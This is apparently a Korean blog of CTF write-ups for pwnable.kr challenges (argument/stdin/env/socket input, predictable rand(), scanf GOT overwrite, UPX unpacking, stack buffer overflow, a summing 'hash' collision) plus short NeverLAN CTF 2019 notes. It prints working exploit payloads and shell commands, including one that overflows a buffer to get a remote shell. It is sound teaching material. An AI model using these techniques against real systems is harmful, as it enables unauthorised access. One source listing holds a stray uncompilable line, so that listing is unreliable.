int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

소스를 살펴보면

인자 전달, 표준 입력, 환경변수 전달, 파일 입력, 소켓 통신

5개의 스테이지로 나누어져

조건을 만족하지 못하면

system 문에 도달하지 못하고

즉시 return 하도록 되어 있습니다..

import subprocess

arg = [ str(i) for i in range(1,100) ]
arg[ord('A') - 1] = "\x00"
arg[ord('B') - 1] = "\x20\x0a\x0d"

proc = subprocess.Popen(['./input'] + arg, stdout = subprocess.PIPE)

print(proc.pid, proc.wait())
print(proc.communicate())

파이썬의 subprocess 모듈로

시도해 보았지만 실패했습니다.

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python2.7/subprocess.py", line 711, in __init__
    errread, errwrite)
  File "/usr/lib/python2.7/subprocess.py", line 1343, in _execute_child
    raise child_exception
TypeError: execv() arg 2 must contain only strings

subprocess 의 Popen 내부에서 사용되는

execv() 에 null 바이트를 넣으면 오류를 뿜기 때문에

다른 방법을 써야만 했습니다.

class pwnlib.tubes.process.process(argv=None, shell=False, executable=None, cwd=None, env=None, stdin=-1, stdout=<pwnlib.tubes.process.PTY object>, stderr=-2, close_fds=True, preexec_fn=<function <lambda>>, raw=True, aslr=None, setuid=None, where='local', display=None, alarm=None, *args, **kwargs)

탐색결과 pwntools 의 process 모듈을 발견했습니다.

위 모듈은 널 바이트가 포함된 인자도 정상적으로 받아들입니다.

#!/usr/bin/env python

from pwn import *

argv = [str(i) for i in range(100)]
argv[ord('A')] = '\x00'
argv[ord('B')] = '\x20\x0a\x0d'
argv[ord('C')] = '9999'

env = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe'}

with open('\x0a', 'wb') as f:
	f.write('\x00\x00\x00\x00')

with open('stderr', 'wb') as f:
	f.write('\x00\x0a\x02\xff')

proc = process(executable = '/home/input2/input', argv = argv, stderr = open('stderr'), env = env)

proc.stdin.write('\x00\x0a\x00\xff')

with remote('localhost', argv[ord('C')]) as sd:
	sd.send('\xde\xad\xbe\xef')
	
proc.interactive()

pwntools 를 이용하여 작성한 파이썬 스크립트입니다,

argv 변수에 argv 인자를

env 변수에 환경번수를 저장하여 전달하였고

pwntools 의 remote 모듈을 이용해 데이터를 전달했습니다.

그러던 중, process 에서 전달하는 인자를 수정해

argv[0] 을 임의대로 변경 가능하다는 것을 깨달았습니다.

argv[0] 은 실행 파일 경로로 정해져 있다고 생각했는데

절대적인 정의는 아니었나 봅니다.

with open('stderr', 'wb') as f:
	f.write('\x00\x0a\x02\xff')

proc = process(executable = '/home/input2/input', argv = argv, stderr = open('stderr'), env = env)

소스를 확인해보면 stage 2에서

stderr 로 전달해야할 데이터를 파일로 저장한 다음

open 을 통해 파일 디스크립터를 별도로 열어

인자로 전달하는 것을 확인할 수 있는데요.

proc.stderr.write('\x00\x0a\x02\xff')

본래는 위처럼 다이렉트로 전달하려고 했습니다.

>>> proc.stderr
<open file '<fdopen>', mode 'r+' at 0x7f96357c5b70>
>>> proc.stderr.write('data')
>>> proc.stderr.read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IOError: [Errno 11] Resource temporarily unavailable

그런데 접근 모드가 r+ 인 탓인지

stderr 에 직접적인 입력은 불가능 했습니다.

input2@ubuntu:/tmp/posix$ ln -s /home/input2/flag flag

홈 폴더에는 파일을 저장할 권한이 없으므로

저는 /tmp 내에 별도로 디렉토리를 만들어

스크립트를 저장해 주었습니다.

또한 system 문의 flag 가 상대경로로 되어 있기에

심볼링 링크를 만들어 연결해 주었습니다.

input2@ubuntu:/tmp/posix$ ls
?  flag  solve.py  stderr
input2@ubuntu:/tmp/posix$ ls -b
\n  flag  solve.py  stderr

스크립트를 통해 \x0a 라는 이름으로 파일을 생성하면

파일명이 정상적으로 표시되지 않는데

ls -b 옵션을 통해 확인할 수 있습니다.

input2@ubuntu:/tmp/posix$ ./solve.py
[+] Starting local process '/home/input2/input': Done
[+] Opening connection to localhost on port 9999: Done
[*] Closed connection to localhost port 9999
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Process '/home/input2/input' stopped with exit code 0
[*] Got EOF while reading in interactive

플래그 취득에 성공했습니다.

Random 문제풀이

POSIX — Wed, 6 Feb 2019 17:53:54 +0900

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

C 언어의 랜덤함수에 관한 문제입니다..

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

rand() 로 인해 생성된 random 값이

입력한 값과 xor 연산했을 때에

0xdeadbeef 가 나와야 한다는 조건인데

결국은 random 값만 알게 되면 끝나는 문제입니다.

srand(time(NULL));

C언어에서 rand 함수를 사용하기 전에는

흔히 srand에 타임스탬프 값을 사용하여

시드를 주어야 할 필요가 있습니다.

그렇지 않으면 항상 정수 1 을 시드로 사용하여

똑같은 값을 출력하게 되지요.

상세 설명

Dump of assembler code for function main:
   0x00000000004005f4 <+0>:     push   %rbp
   0x00000000004005f5 <+1>:     mov    %rsp,%rbp
   0x00000000004005f8 <+4>:     sub    $0x10,%rsp
   0x00000000004005fc <+8>:     mov    $0x0,%eax
   0x0000000000400601 <+13>:    callq  0x400500 <rand@plt>
   0x0000000000400606 <+18>:    mov    %eax,-0x4(%rbp)
   0x0000000000400609 <+21>:    movl   $0x0,-0x8(%rbp)
   0x0000000000400610 <+28>:    mov    $0x400760,%eax
   0x0000000000400615 <+33>:    lea    -0x8(%rbp),%rdx
   0x0000000000400619 <+37>:    mov    %rdx,%rsi
   0x000000000040061c <+40>:    mov    %rax,%rdi
   0x000000000040061f <+43>:    mov    $0x0,%eax
   0x0000000000400624 <+48>:    callq  0x4004f0 <__isoc99_scanf@plt>
   0x0000000000400629 <+53>:    mov    -0x8(%rbp),%eax
   0x000000000040062c <+56>:    xor    -0x4(%rbp),%eax
   0x000000000040062f <+59>:    cmp    $0xdeadbeef,%eax
   0x0000000000400634 <+64>:    jne    0x400656 <main+98>
   0x0000000000400636 <+66>:    mov    $0x400763,%edi
   0x000000000040063b <+71>:    callq  0x4004c0 <puts@plt>
   0x0000000000400640 <+76>:    mov    $0x400769,%edi
   0x0000000000400645 <+81>:    mov    $0x0,%eax
   0x000000000040064a <+86>:    callq  0x4004d0 <system@plt>
   0x000000000040064f <+91>:    mov    $0x0,%eax
   0x0000000000400654 <+96>:    jmp    0x400665 <main+113>
   0x0000000000400656 <+98>:    mov    $0x400778,%edi
   0x000000000040065b <+103>:   callq  0x4004c0 <puts@plt>
   0x0000000000400660 <+108>:   mov    $0x0,%eax
   0x0000000000400665 <+113>:   leaveq
   0x0000000000400666 <+114>:   retq

따라서 gdb을 사용해

생성되는 값을 확인 한 후에

계산해 사용하면 끝입니다.

시드가 주어지지 않았기에

항상 똑같은 값만 나오니까요

(gdb) x/wa $rbp-4
0x7ffd534b93bc: 0x6b8b4567

>>> 0x6b8b4567 ^ 0xdeadbeef
3039230856

생성된 random 값을 찾아내

xor 연산을 수행하는 것으로 key 값을 얻을 수 있었습니다.

random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

Passcode 문제풀이

POSIX — Wed, 6 Feb 2019 15:19:40 +0900

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 5번 문제입니다.

c 언어로 작성한 로그인 프로그램에 문제가 있다고 하네요.

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");                          
        scanf("%d", passcode2);

        printf("checking...\n");

	printf("%d", passcode)

        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

welcome() 에서 이름을 받아 출력한 후에

scanf("%d", passcode1);
...
scanf("%d", passcode2);

문제가 되는 부분입니다.

본래 scanf 에서는 "&passcode1" 과 같은 형식으로

변수의 주소를 인자로 받아야 하는데

값을 넘기고 말았습니다.

입력할 수 있는 주소를 정수 인자로 전달하면

입력할 메모리 주소 지정이 가능하니

잘 이용하면 인증 우회를 유도할 수 있을 것 같습니다.

Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret

welcome 함수를 살펴보면

ebp - 0x70 주소를 인자로 scanf 함수를 사용하고 있습니다.

ebp - 0x70 이 "char name[100]" 시작 부분이 되겠네요.

또한 "%100s" 를 통해 최대 100자로

바이트수를 제한하고 있으므로

입력할 수 있는 메모리 범위는

[ ebp - 0x70, ebp - 0xc ) 가 됩니다.

Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>

다음으로 login 함수를 살펴보겠습니다.

ebp - 0x10 가 첫 scanf 의 인자로 사용된 것을 보아

[ ebp - 0x10, ebp - 0xc ) 가 passcode1 의

메모리 범위 라는 것을 알 수 있습니다.

welcome 함수에서 사용했던

char name[100] 메모리의 뒷 4 바이트와 동일합니다.

바로 뒤에 fflush 함수가 존재하므로

GOT Overwrite 기법을 사용하여

인증 우회가 가능하겠군요.

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

objdump 를 이용해

fflush의 GOT 주소를 확인할 수 있었습니다.

   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>

GOT 주소를 system()의

인자를 전달하는 부분의 주소로 바꾸어 두면

passcode@ubuntu:~$ printf "%096d\x04\xa0\x04\x08 134514147" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

cmp를 거치지 않고 플래그의 확인이 가능합니다.

134514147은 system()의 시작 주소값인

0x080485e3 scanf %d 형식에 맞춰

10진수 정수로 입력한 것입니다.

Flag 문제풀이

POSIX — Tue, 5 Feb 2019 22:40:00 +0900

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

Toddler's Bottle 4번 문제입니다.

papa가 packed present 를 주셨다고 하는데요.

바이너리만으로 풀 수 있는 리버싱 문제라고 합니다.

[root@centos7 ~]# ./flag
I will malloc() and strcpy the flag there. take it.

주어진 바이너리를 실행해 보면

malloc() 과 strcpy 함수를 사용하여

플래그를 복사하고 있다는 힌트를 줍니다.

(gdb) info file
Symbols from "/root/flag".

gdb 를 이용하여

섹션을 조회해 보면

어떠한 정보도 얻을 수가 없습니다.

[root@centos7 ~]# upx -l flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 ->    335288   37.94%   linux/amd64   flag

이유가 무엇인가 보니

UPX 패킹이 된 상태였군요.

문제의 'packed' present 가 힌트였나 봅니다.

[root@centos7 ~]# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.

upx -d 명령으로 바이너리를

decompress 했습니다.

(gdb) info file
Symbols from "/root/flag".
Local exec file:
        `/root/flag', file type elf64-x86-64.
        Entry point: 0x401058
        0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag
        0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id
        0x00000000004001d8 - 0x00000000004002f8 is .rela.plt
        0x00000000004002f8 - 0x0000000000400310 is .init
        0x0000000000400310 - 0x00000000004003d0 is .plt
        0x00000000004003d0 - 0x0000000000494d38 is .text
        0x0000000000494d40 - 0x000000000049655c is __libc_freeres_fn
        0x0000000000496560 - 0x0000000000496608 is __libc_thread_freeres_fn
        0x0000000000496608 - 0x0000000000496616 is .fini
        0x0000000000496620 - 0x00000000004b39c4 is .rodata
        0x00000000004b39c8 - 0x00000000004b39d0 is __libc_atexit
        0x00000000004b39d0 - 0x00000000004b3a28 is __libc_subfreeres
        0x00000000004b3a28 - 0x00000000004b3a30 is __libc_thread_subfreeres
        0x00000000004b3a30 - 0x00000000004c0fdc is .eh_frame
        0x00000000004c0fdc - 0x00000000004c115e is .gcc_except_table
        0x00000000006c1ef0 - 0x00000000006c1f10 is .tdata
        0x00000000006c1f10 - 0x00000000006c1f48 is .tbss
        0x00000000006c1f10 - 0x00000000006c1f18 is .init_array
        0x00000000006c1f18 - 0x00000000006c1f20 is .fini_array
        0x00000000006c1f20 - 0x00000000006c1f30 is .ctors
        0x00000000006c1f30 - 0x00000000006c1f40 is .dtors
        0x00000000006c1f40 - 0x00000000006c1f48 is .jcr
        0x00000000006c1f50 - 0x00000000006c1fd0 is .data.rel.ro
        0x00000000006c1fd0 - 0x00000000006c1fe0 is .got
        0x00000000006c1fe8 - 0x00000000006c2060 is .got.plt
        0x00000000006c2060 - 0x00000000006c36f0 is .data
        0x00000000006c3700 - 0x00000000006c6288 is .bss
        0x00000000006c6290 - 0x00000000006c62d8 is __libc_freeres_ptrs

이제 섹션 정보가 정상적으로 출력됩니다.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000401164 <+0>:     push   rbp
   0x0000000000401165 <+1>:     mov    rbp,rsp
   0x0000000000401168 <+4>:     sub    rsp,0x10
   0x000000000040116c <+8>:     mov    edi,0x496658
   0x0000000000401171 <+13>:    call   0x402080 <puts>
   0x0000000000401176 <+18>:    mov    edi,0x64
   0x000000000040117b <+23>:    call   0x4099d0 <malloc>
   0x0000000000401180 <+28>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401184 <+32>:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
   0x000000000040118b <+39>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118f <+43>:    mov    rsi,rdx
   0x0000000000401192 <+46>:    mov    rdi,rax
   0x0000000000401195 <+49>:    call   0x400320
   0x000000000040119a <+54>:    mov    eax,0x0
   0x000000000040119f <+59>:    leave
   0x00000000004011a0 <+60>:    ret
End of assembler dump.

어셈블리화 하여 확인해 보니

malloc 으로 메모리를 확보하고

0x6c2070 가 참조하고 있는 주소를

0x400320 의 인자로 전달하고 있습니다.

(gdb) x/s *0x6c2070
0x496628:       "UPX...? sounds like a delivery service :)"

참조 데이터를 문자열 형태로 출력하니

플래그를 확인할 수 있었습니다.

Bof 문제풀이

POSIX — Tue, 5 Feb 2019 00:36:59 +0900

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Toddler's Bottle 3번 문제입니다.

이름으로 추측할 수 있듯 버퍼 오버 플로우에 관한 문제인데요.

netcat 을 사용하여 통신하라고 되어 있네요.

윈도우즈용 netcat은 이곳 에서 다운받을 수 있습니다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

소스파일을 확인해 보겠습니다.

main 함수에서 0xdeadbeef 를 인자로

func 함수를 실행하고 있군요.

그리고선 overflowme 라는 char 배열에

gets 로 입력을 받고

함수 호출 인자였던 0xdeadbeef 와 0xcafebabe 를 비교해서

동일하면 시스템 쉘을 얻을 수 있습니다.

문제는 비교 문자열들이

모두 하드코딩되어 편집할 방법이 없다는 것입니다.

그래서 필요한 것이

바로 버퍼 오버플로우인데요.

버퍼 오버플로우에도 여러 종류가 있지만

이번에 우리가 사용할 기법은

스택 오버플로우 입니다.

초심자라면 단어가 조금은

어렵게 느껴질 수도 있지만

개념은 단순합니다.

로컬 변수에게 할당된 메모리를

초과하여 사용해 예상치 못한 동작을 일으키는 것이죠.

예를 들어봅시다.

Z, Y, X 세개의 크기가 다른 변수가 존재하고 있습니다.

그 중 Z 변수의 크기는 6칸 이군요.

여기서 Y를 '.' 와 비교한다면 어떨까요?

Y 안에는 ':' 가 들어있으므로 False를 반환할 것입니다.

그런데 여기서 Z에 사용자가 입력을 한다면 어떨까요?

이런, Z 값에 할당된 용량을 초과하여

데이터를 입력해 버렸군요.

여기서 Y를 '.' 와 비교한다면 어떨까요?

본래라면 False를 반환했어야 하는데

값이 변조되어 True 를 반환하고 맙니다.

이번 문제에서는

overflowme 가 Z가 되고

0xdeadbeef 임시변수가 Y가 된다고

생각하시면 될 것 같네요.

(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.

링크된 실행파일을 어셈블리어로 보면

가장 먼저 15번 라인이 눈에 띕니다.

0xcafebabe 와 [ebp+0x8] 에 있는 값을 비교하고 있군요.

그리고 12번 라인을 보면 gets 를 호출하기 전에

[esp]에 [ebp-0x2c] 를 대입하고 있습니다.

즉 우리가 입력하는 overflowme 의 시작 부분이 [ebp-0x2c]

func 함수 호출 인자였던 0xdeadbeef 의 시작 부분인 [ebp+0x8]

이라는 것을 알수 있죠

0x2c + 0x8 = 52 이므로

52바이트 뒤에 0xcafebabe를 덮어씌워 주면

조건식을 통과할 수 있을 것입니다.

# ( printf "%52s\xbe\xba\xfe\xca"; cat ) | nc pwnable.kr 9000
ls -l
total 60812
-r-xr-x--- 1 root bof      7348 Sep 12  2016 bof
-rw-r--r-- 1 root root      308 Oct 23  2016 bof.c
-r--r----- 1 root bof        32 Jun 11  2014 flag
-rw------- 1 root root 62243025 Feb  4 07:00 log
-rw-r--r-- 1 root root        0 Oct 23  2016 log2
-rwx------ 1 root root      760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer :)

쉘을 얻어 flag의 값을 확인할 수 있었습니다.

printf 문 이후에 cat을 써 준 이유는

송신후에 입력을 닫지 않고

쉘을 계속 이용할 수 있게 하기 위해서 입니다.

Collision 문제풀이

POSIX — Mon, 4 Feb 2019 21:13:30 +0900

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 2번 문제입니다.

이전 문제와 마찬가지로 ssh 계정이 주어졌네요.

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

접속하면 소스코드가 주어지는데요.

프로그램 실행 인자를

int 포인터로 캐스팅하여

20 바이트, 즉 int 변수 5개를 더하여

0x21DD09EC가 되면 플래그를 출력하도록 되어 있습니다.

먼저 입력이 20바이트로 제한되어 있기에

20바이트의 공간을 마련했습니다.

NUL은 입력으로 사용할 수 없기에

int 하나를 제외하고는

모두 0x01010101 로 채워 넣었습니다.

>>> hex ( 0x21DD09EC - ( 0x01010101 * 4 ) )
'0x1dd905e8'

목표값인 0x21DD09EC에서

0x01010101 * 4 을 빼면

0x1DD905E8 이 됩니다.

인텔 cpu에서는 변수를

리틀 엔디안으로 저장해야 합니다.

따라서 역순인 E8 05 D9 1D 로

첫번째 변수를 작성하면 되겠군요.

col@ubuntu:~$ ./col $'\xE8\x05\xD9\x1D\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
daddy! I just managed to create a hash collision :)

작성한 것을 바이트 형식 인자로 전달해주면

플래그를 얻을 수 있었습니다.

 echo -en '\xE8\x05\xD9\x1D\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' | xargs ./col

echo와 xargs를 이용해서 인자를 전달하는 방법도 있습니다.

neverlanctf 2019 - React to this writeup

POSIX — Mon, 4 Feb 2019 18:57:28 +0900

React 사이트를 잘못 설정 한 것 같다고 합니다.

사이트가 주어지는데

링크들은 모두 더미 링크로

어떤 힌트도 얻을 수 없었습니다.

그러던 중 소스코드에 flag가 하드코딩 된 것을 확인할 수 있었습니다 ;;

더 난독화하거나

서버를 통해 인증을 한다거나 했으면 좋았을텐데

뭘 해볼것도 없이 소스코드에 그대로 나와있으니

씁쓸합니다.

neverlanctf 2019 - purvesta writeup

POSIX — Mon, 4 Feb 2019 18:48:14 +0900

75점의 purvesta 문제입니다.

깃허브로 페이지를 호스팅 할 수 있으면 좋겠다고 합니다.

그런데 깃허브에선

이미 페이지 호스팅을 하고 있지요?

깃허브 페이지는 기본 도메인이

github.io 로 끝난다는 것을 기억해보면

purvesta.github.io 페이지에서

자료를 확인할 수 있습니다.

페이지의 링크를 따라가니

플래그를 확인할 수 있었습니다.

neverlanctf 2019 - Dirty Validate writeup

POSIX — Mon, 4 Feb 2019 18:40:48 +0900

자바스크립트로 유저를 인증하도록 했다 합니다.

링크가 하나 주어지네요.

링크에 접속하면

로그인 폼이 하나 보입니다.

	  // reference here
	  // https://api.jquery.com/jQuery.ajax/
